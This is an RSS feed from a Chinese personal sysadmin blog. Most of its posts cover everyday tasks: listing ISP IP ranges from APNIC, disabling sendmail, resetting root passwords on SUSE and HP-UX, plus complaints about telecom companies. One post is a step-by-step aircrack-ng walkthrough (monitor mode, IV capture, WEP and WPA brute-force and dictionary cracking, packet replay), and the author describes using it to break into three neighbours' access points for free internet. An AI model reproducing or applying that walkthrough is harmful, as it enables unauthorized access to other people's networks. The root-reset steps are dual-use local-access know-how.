<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[无言's Blog - -Document-]]></title>
<link>http://www.ph-ok.com/</link>
<description><![CDATA[默默在困顿与迷茫中执着地探索...]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[109091@qq.com(无言~)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>无言&#39;s Blog</title>
	<url>http://www.ph-ok.com/images/logos.gif</url>
	<link>http://www.ph-ok.com/</link>
	<description>无言&#39;s Blog</description>
</image>

			<item>
			<link>http://www.ph-ok.com/article.asp?id=58</link>
			<title><![CDATA[如何快速获取电信、网通、铁通的IP地址段...]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Wed,26 May 2010 12:03:48 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=58</guid>
		<description><![CDATA[IDC 这边网络终于通了(严重 BS 四川电信)，但由于所分配的是一组新地址，发现到网通的路由很多都不通（估计应该是路由表都还没加全呢~），M 总想知道有多少网通的，铁通的路由是不通的,帮他整理一份ip分配表..... 愁了~这要查各ISP的ip分配情况啊~<br/><br/>Googleing........~~偶然发现了个好办法准确的知道电信、网通、铁通等ISP运营商的IP地址段分配情况, APNIC（我就不用详细说了吧，它是管理亚太地区IP地址分配的机构）有着丰富准确的IP地址分配库，同时这些信息也是免费对外公开的...（嘿嘿，就喜欢不要钱的~~~）<br/><br/>找台linux系统，做以下步骤：<br/>shell&gt; wget <a href="http://ftp.apnic.net/apnic/dbase/tools/ripe-dbase-client-v3.tar.gz" target="_blank" rel="external">http://ftp.apnic.net/apnic/dbase/tools/ripe-dbase-client-v3.tar.gz</a> <br/>shell&gt; tar xzvf ripe-dbase-client-v3.tar.gz <br/>shell&gt; cd whois-3.1 <br/>shell&gt; ./configure <br/>shell&gt; make<br/>shell&gt; make install<br/><br/>完成上述编译安装工作后，我们开始获取IP地址段； <br/>中国电信：<br/>shell&gt; whois3 -h whois.apnic.net -l -i mb MAINT-CHINANET &gt; chinanet.txt<br/>中国网通： <br/>shell&gt; whois3 -h whois.apnic.net -l -i mb MAINT-CNCGROUP &gt; cnc.txt<br/>中国铁通：<br/>shell&gt; whois3 -h whois.apnic.net -l -i mb MAINT-CN-CRTC &gt; crtc.txt<br/><br/>打开获取后的文件可以看到里面的信息非常详细，甚至可以看到各个分公司的负责人、电话、电子邮件等等信息。如果想得到一份整齐干净的IP地址段文件，只要用grep和awk简单过滤就可以了。<br/><br/>中国电信：<br/>awk &#39;/inetnum:/&#39; chinanet &gt; chinanet_ip.txt<br/>中国网通：<br/>awk &#39;/inetnum:/&#39; cnc &gt; cnc_ip.txt<br/>中国铁通：<br/>awk &#39;/inetnum:/&#39; crtc &gt; crtc_ip.txt<br/><br/>ok!! 打完收工~<br/><br/>附：chinanet_cnc_crtc_IP.20100526.rar<br/><span id="down_swzzx1c5yy"></span><script language="javascript" type="text/javascript">check('Action.asp?action=Antidown&id=10&downurl=download%2Easp%3Fid%3D10&main=%E7%82%B9%E5%87%BB%E4%B8%8B%E8%BD%BD%E6%AD%A4%E6%96%87%E4%BB%B6','down_swzzx1c5yy','down_swzzx1c5yy');</script><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=54</link>
			<title><![CDATA[BT3心得(BT3.....)]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Wed,10 Mar 2010 23:40:54 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=54</guid>
		<description><![CDATA[郁闷~~~，目前住的地方没有小区宽带,要装电信网络还要装固话.......~~~ <br/><br/>强烈BS一下电信这种捆绑销售~<br/><br/>无奈用WiFiHopper扫了一下周围的无线信号，6、7个AP。不过信号强度都很一般，很多还是WPA2的...<br/>Windows 下的扫描工具推荐用WiFiHopper，基本上目前的无线网卡都支持，比NetworkStumbler 好用...<br/>找了个U盘，做个BT3启动盘....本人用的是rockplay的霸天虎BT3.6.1(主要因为T61用的是4965,目前看，这个BT3版本支持的最好...)扫了一下，又多发现了几个AP,嘿嘿~~还有几个WEP的...看来蹭网有戏了........<br/><br/>加载命令：<br/>modprobe -r iwl3945 (卸载默认挂载的3945驱动)<br/>modprobe ipwraw (加载可监听的网卡驱动)<br/>modinfo ipwraw (查看所加载驱动模块的版本信息)<br/><br/>加载接口:<br/>airmon-ng start wlan0 (加载网卡，激活监听模式，扫描可被加载的mon接口)<br/>airmon-ng start wlan0 11 (SK )<br/>可通过ifcofig -a 查看一无线网卡的接口信息<br/><br/>全频搜索：<br/>airodump-ng mon0 (基于mon0的全信道扫描，可以查到附近的AP信息,信号强度，加密方式....)<br/><br/>实例：<br/>------------------------------------------------------------------<br/>BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PWR&nbsp;&nbsp;Beacons&nbsp;&nbsp;&nbsp;&nbsp;#Data, #/s&nbsp;&nbsp;CH&nbsp;&nbsp;MB&nbsp;&nbsp; ENC&nbsp;&nbsp;CIPHER AUTH ESSID<br/> C8:3A:35:0C:47:30&nbsp;&nbsp; -1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;0 133&nbsp;&nbsp;-1&nbsp;&nbsp; OPN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;length:&nbsp;&nbsp;0&gt;<br/> 00:23:CD:70:FB:96&nbsp;&nbsp;-81&nbsp;&nbsp;&nbsp;&nbsp; 1037&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp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nbsp;&nbsp;244&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WEP&nbsp;&nbsp;WEP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TP-LINK<br/>00:21:27:35:E4:CC&nbsp;&nbsp;-87&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 59&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WEP&nbsp;&nbsp;WEP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wangxq<br/>------------------------------------------------------------------<br/><br/>基于信道6的 mon0 接口 扫描:<br/>airodump-ng -c 6 mon0 (只基于信道6的扫描,很多AP默认都是用的信道6..能找到不少..)<br/><br/>基于信道11的 mon0 接口 扫描:<br/>airodump-ng -c 11 mon0 (只基于信道11的扫描)<br/><br/>基于mon0 接口的信道6扫描,并且保存为phok-01.ivs <br/>airodump-ng --ivs -w phok-01.ivs -c 6 mon0<br/>开始抓包，并且保存成ivs文件，ivs是最后用于破解的文件，ivs状态在抓包过程中，可以通过data值项看到，一般用于WEP破解时最好在15000ivs以上~，试了很多次，这是必须的，否则无法破解.....<br/>目前BT3在破解WPA加密方式的还不够强悍...所以能搜到WEP，优先进行...<br/><br/>口令破解：<br/>aircrack-ng -n 64 -b&lt;apmac&gt; phok-01.ivs (WEP的口令破解...)<br/>参数说明：<br/>[-n]：设置WEP KEY 长度（64/128/152/256/512）<br/>aircrack-ng -x -f 2 phok-01.cap<br/>[-x]：设置为暴力破解模式<br/>[-f]：设置复杂程度，wep密码设置为1，wpa 密码设置为2<br/>aircrack-ng -w password.txt phok-01.cap<br/>[-w]：设置为字典破解模式，后面跟字典文件，再后面跟是我们即时保存的那个捕获到WPA 验证的抓包文件。<br/><br/>嘿嘿~~ 经过上述努力，破解了3个WEP的AP，抓包时间长达2个多小时，不过还是蹭上网了..回头抽时间再研究一下，通过冲突模式重新连接所产生的握手数据来增加data值.....<br/>aireplay-ng -3 -b &lt;ap mac&gt; -h &lt;合法客户端mac&gt; mon0<br/><br/>搞的时候懒得截图了，这图是从网上搜的，它用的是GUI模式，其实用命令行方式是最方便的... <br/><img src="http://www.ph-ok.com/download.asp?id=5" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=53</link>
			<title><![CDATA[SendMail 服务应该如何停....]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Fri,26 Feb 2010 15:36:21 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=53</guid>
		<description><![CDATA[SendMail. .&nbsp;&nbsp;linux/unix系统等自带的mail应用，在多数情况下并不需要启用，而因它产生的安全漏洞却不少....<br/><br/>前阵子给个客户做unix系统方面的安全加固，用户的极光漏扫检测出大量的SendMail安全问题，就问我要如何停止这些系统的SendMail...<br/><br/>UNIX 停止sendmail服务..<br/>AIX:<br/>1. stopsrc -s sendmail （如果没有该命令，ps后看snedmail进程ID，kill掉即可...）<br/>2. ps -ef |grep sendmail (确认一下 sendmal 的进程是被干掉)<br/>永久关闭Sendmail.<br/>3. vi /etc/rc.tcpip<br/>按下述要求用#注释掉..<br/># /qpi=30m<br/># start /usr/lib/sendmail<br/>wq 保存退出即可..<br/><br/>HP-UX:<br/>1. /sbin/init.d/sendmail stop <br/>2./etc/rc.config.d/mailservs, 把 ＝1 改为 ＝0<br/><br/>FreeBSD:<br/>1. killall sendmail<br/>2. 在 /etc/rc.conf 中加入如以下内容<br/>sendmail_enable=&#34;NONE&#34;<br/>sendmail_submit_enable=&#34;NO&#34;<br/>sendmail_outbound_enable=&#34;NO&#34;<br/>sendmail_msp_queue_enable=&#34;NO&#34;<br/><br/>Linux&nbsp;&nbsp;停止sendmail服务..<br/>Red Hat/SentOS:<br/>1. /sbin/service sendmail stop<br/>2. /sbin/chkconfig sendmail off<br/><br/>SUSE LINUX:<br/>1. /etc/init.d/sendmail stop<br/>2. /sbin/chkconfig -s sendmail off<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=52</link>
			<title><![CDATA[Suse Linux  &#34;root&#34;  password recover]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Wed,24 Feb 2010 02:08:53 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=52</guid>
		<description><![CDATA[1. Restart the machine, in the event of grub boot interface, an option wh&#101;re you start Linux with <u>init = / bin / bash</u>, by giving the kernel to pass init = / bin / bash parameter allows OS before running the login program to run bash, command-line appears.<br/><br/>2. Wait a moment there (none) #: the command line.<br/><br/>3. Then type <u>mount-n /-o remount, rw </u>said it would re-mount the root file system for read-write, with the read-write access after the passwd command can change the password.<br/><br/>4. Then enter the passwd command to reset the passwords. Enter a password that you remember, but can not remember all right, now we know the solution.<br/><br/>5. After completion of editing remember to use <u>mount-n /-o remount</u>, ro root file system will be set to the o&#114;iginal state.<br/><br/><img src="http://www.ph-ok.com/download.asp?id=3" border="0" alt=""/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=50</link>
			<title><![CDATA[CCTV? CCAV?]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Tue,16 Feb 2010 00:26:35 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=50</guid>
		<description><![CDATA[<img src="http://www.ph-ok.com/download.asp?id=1" border="0" alt=""/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=48</link>
			<title><![CDATA[HP-UX无法更改root密码的解决方法]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Wed,27 Jan 2010 16:51:23 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=48</guid>
		<description><![CDATA[最近协助西北电网进行主机的安全性加固..&nbsp;&nbsp;客户反映无法修改root密码的问题...<br/><br/>加固工作中有项是设置操作系统密码的复杂性，在HP-UX中需要将操作系统先转成受信任系统（Trusted System）。操转成受信任系统之后修改本用户密码都会要求输入旧密码，但输入正确的密码也是无法登录root，报Sorry就退出了，而除了root用户之外其它用户都没有这样的问题....<br/><br/>#[/]passwd<br/>Changing password for root<br/>Old password:<br/>SU:Sorry.<br/><br/>无奈，在UX群中问了一圈，最后有人扔出来一个命令：<br/><br/>/usr/sam/lbin/usermod.sam -F -p “” root<br/><br/>意思是清空root的密码，然后再修改密码的时候就不会提示要输入旧密码了...<br/><br/>以防不测，另外开了一个终端，输入上面的命令，回车，再修改密码，果然不要求输入旧密码了，搞定~]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=43</link>
			<title><![CDATA[APP Manage Up&#100;ate......]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Thu,26 Nov 2009 22:30:43 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=43</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;忙中抽空将系统升级到Win7，常用的小工具确不能使了，只好再忙中抽闲将这个程序也升级了，还顺便发现了几个Win7的小BUG；<br/>1、用netsh进行快速修改ip时，DHCP服务必须启动，且name参数最多只能为四个汉字，所以&#34;无线网络连接&#34;就不能用喽...改个名吧~~<br/>2、win7的通知区域图标,系统竟未提供清除的功能,只能通过清除注册表，并需刷新Explorer进程,顺便改一下程序方便清除该位置。<br/><img src="http://www.ph-ok.com/attachments/month_0911/5200911262317.jpg" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=27</link>
			<title><![CDATA[自用APP Manage...]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Mon,16 Jun 2008 15:23:47 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=27</guid>
		<description><![CDATA[自用的系统管理器，刚开始只是为了方便几个系统服务的管理，结果越挂越多!!!...&nbsp;&nbsp;得~抓个图扔上来吧...<br/><br/><img src="http://www.ph-ok.com/attachments/month_0806/v2008616152322.JPG" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=24</link>
			<title><![CDATA[Cleaning ThinkPad......]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Fri,23 May 2008 13:56:45 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=24</guid>
		<description><![CDATA[用了有两个月的小黑，难得有时间拆开清洗一次......<br/><img src="http://www.ph-ok.com/attachments/month_0805/72008523135629.JPG" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=17</link>
			<title><![CDATA[Tmd 全球通 Tmd 中国移动]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Document-]]></category>
			<pubDate>Mon,24 Mar 2008 18:18:44 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=17</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;我一般是很少发唠叨，一是人比较懒，二来主要是发唠叨又不解决问题。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这阵子让 Chinamobile 的10086的 MM 们问候了不下几十次，一个字，烦！ 问题其实很简单，敝人从2000年使用CMCC 当时品牌为全球通，几年下来，也混了个全球通的VIP银卡用户，当然，随着国人对移动的种种行业垄断看的越来越透明，加上通讯行业的相互的竞争压力，移动也开始考虑了一些优惠政策，比如单向收费问题，原来基本都是移动对移动单向，但现在也有了全单向一说。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;移动的单向业务开展了有一段时间了，敝人在今年才有所获悉，于是乎也就转了单向业务！但这一转，不仅全球通品牌降成了神州行，连积分也给清零了，用全球通的应该都有客户经理吧（也不知移动搞这么个闲差有什么P用~），我没有与她联系，直接就与10086的客服联系了！ <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对于10086来说这就成了投诉，但不是解决问题的投诉，而倒成了10086与我的什么客户经理去互相踢皮球的责任问题。真是中国特色~~无奈中，只有对10086的MM们发了一通火！这下客户经理打来求我不要投诉10086了，有什么事找她就可以！而且告诉我由于转单向是用的神州行的资费标准，所以我的品牌也就降成神州行了，由于全球通没有这个资费标准，所以就要降成神州行...靠~~...郁闷~ <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;......按照中国移动这种逻辑，用全球通就应该是SB了。SB就应该用双向收费的、有新业务SB也别想用、SB们只要用了全球通那就是没有资格想去省钱了！如果想反之，那就别想是全球通了！Tmd~ 这是什么逻辑，我办卡时就是全球通卡，nnd~ 而且月月话费200以上，按照移动的标准每个月都在150以上就是全球通的逻辑，这是不是太扯蛋了~~ 品牌虽没什么太大意义，但毕竟这也是我的权利，3.15刚过，你就这样整啊~ <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;然后长达二周的骚扰，最后客户经理协商我每个月必须要打够120元，才能是全球通~ ...... 操~ 这是什么霸王条款....&nbsp;&nbsp;至于积分问题，没商量！无法恢复，只能转成话费~<br/><br/>.....无言了~~&nbsp;&nbsp;<br/><br/><img src="http://www.ph-ok.com/attachments/month_0803/82008324181835.jpg" border="0" alt=""/><br/>]]></description>
		</item>
		
</channel>
</rss>
